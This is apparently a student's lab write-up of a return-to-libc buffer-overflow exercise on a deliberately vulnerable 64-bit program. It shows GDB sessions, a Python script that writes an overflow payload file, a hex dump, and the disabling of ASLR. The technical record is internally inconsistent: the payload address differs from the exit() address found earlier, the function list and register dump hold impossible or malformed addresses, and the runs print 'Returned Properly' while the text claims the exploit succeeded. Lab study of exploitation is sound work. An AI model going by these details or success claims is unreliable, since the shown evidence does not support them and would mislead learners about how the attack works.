

Furtuna Estifanos

Project 2

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Implementation and Execution of a Return-to-Libc Attack

1. Setting Up the Environment and libc development libraries

I started setup with ensuring the necessary tools were installed, including GCC, GDB,. This was verified with:

```
furtuna@DESKTOP-C426QM1:/mnt/c/Users/furti$ lsb_release -a
gcc --version      # Check if GCC is installed
gdb --version      # Check if GDB is installed
```

Then, compiled the vulnerable program using:

```
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ gcc -fno-stack-protector -z execstack -o stack64 stack.c
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ ls -l
total 32
-rwxrwxrwx 1 furtuna furtuna 1642 Mar  8 20:51 README.md
-rwxrwxrwx 1 furtuna furtuna 1879 Mar  8 20:49 chain_attack.py
-rwxrwxrwx 1 furtuna furtuna  862 Mar  8 20:51 chain_witharg.py
-rwxrwxrwx 1 furtuna furtuna  513 Mar  8 20:51 stack.c
-rwxr-xr-x 1 furtuna furtuna 16112 Mar  8 20:55 stack64
```

Step 2: Finding the Function Addresses

To redirect execution properly, the **exact memory address** of `exit()` had to be found. This was done by running:

```
gdb ./stack64
info functions
```

Which returned a list of available functions. The address of `exit()` was found using:

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000000100    _init
0x0000000000000107    __cxa_finalize@plt
0x0000000000000108    strcpy@plt
0x0000000000000109    puts@plt
0x00000000000001a0    fread@plt
0x00000000000001b0    fopen@plt
0x00000000000001c0    _start
0x00000000000001f0    deregister_tm_clones
0x0000000000000120    register_tm_clones
0x0000000000000160    __do_global_ctors_aux
0x00000000000001a0    frame_dummy
0x00000000000001a9    foo
0x00000000000001d3    main
0x00000000000001254   _fini
(gdb)
All defined functions:
```

Step 3. Identifying the Address of exit()

To locate the exact memory address of exit(), the command:

```
(gdb) p exit
```

was used, and returned:

```
$1 = {void (int)} 0x7ffff7dce5f0 <__GI_exit>
(gdb) |
```

I used this address in constructing the return-to-libc attack payload.

Step 4. Constructing the Payload

The chain_witharg_64bit.py script was written to generate the malicious input (badfile). The script structured the payload with:

- Buffer overflow padding to overwrite the return address.
- Return address pointing to exit() to control execution flow.
- Additional arguments to ensure stability in execution.

```
#!/usr/bin/python3
import sys

def tobytes(value):
    return (value).to_bytes(8, byteorder='little') # 64-bit us>

exit_group_addr = 0x7ffff7dcd000 # Address of exit_group() - K>

content = bytearray(0xaa for _ in range(112)) # Buffer overflo>

# Call exit_group() to terminate without crashing
content += tobytes(exit_group_addr) # Jump to exit_group()
content += tobytes(0) # Exit status (0)

# Write the content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Step 5: Generating the Exploit File (badfile)

After writing the script, generated the payload file with:

```
~/ret2libc_project$ nano chain_witharg_64bit.py
~/ret2libc_project$ python3 chain_witharg_64bit.py
```

To verify that the payload was written correctly, I used this command:

```
xxd badfile | head
```

```
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ xxd badfile | head
00000000: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000010: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000020: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000030: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000040: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000050: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000060: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa .....
00000070: 00d0 dcf7 ff7f 0000 0000 0000 0000 0000 .....
```

Step 6: Running the Exploit

The exploit was executed by running:

```
...
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ ./stack64
Returned Properly
```

Step 7: Debugging with GDB

To verify the payload behavior, GDB was used to inspect the program state:

```
(gdb) info registers
rax                0x0                0
rbx                0x7fffffff7efffb8       140737354071992
rcx                0x7fffffff7e9d887       140737352685703
rdx                0x1                1
rsi                0x1                1
rdi                0x7fffffff7fa5a70       140737353767536
rbp                0x7fffffff7fdc08       0x7fffffff7fdc08
rsp                0x7fffffff7fd948       0x7fffffff7fd948
r8                 0x0                0
r9                 0x555555555a490       93824992257168
r10                0x77                119
r11                0x246               582
r12                0x7fffffff7dda8       140737488346536
r13                0x4a424f5f44454441       5350926577855448129
r14                0x7fffffff7fd9c8       140737488345544
r15                0x52505f4543415254       5931345460332679764
rip                0x7fffffff7fe4951       0x7fffffff7fe4951 <dl_main+113>
eflags             0x10216             [ PF AF IF RF ]
cs                 0x33                51
ss                 0x2b                43
ds                 0x0                0
es                 0x0                0
fs                 0x0                0
gs                 0x0                0
```

Registers confirmed that the payload **successfully modified execution flow**, demonstrating control over the return address.

Step 8: Debugging & Fixing Issues

During the process, there were several issues

- Incorrect exit address: Initially, the wrong function address was used, requiring a correction using `p exit` in GDB.
- Stack alignment issues: Fixed by adding padding in the `chain_witharg_64bit.py` script.
- Address Space Layout Randomization (ASLR): Disabled temporarily using:

```
vt: Command not found
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for furtuna:
0
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ ./stack64
Returned Properly
```

After these corrections, the exploit successfully demonstrated control over execution flow.

N:- The project involved exploiting a buffer overflow vulnerability by redirecting execution to a controlled function. The payload successfully altered execution flow, demonstrating an understanding of return-to-libc exploitation. Key takeaways included analyzing function addresses, structuring payloads, and debugging execution flow with GDB.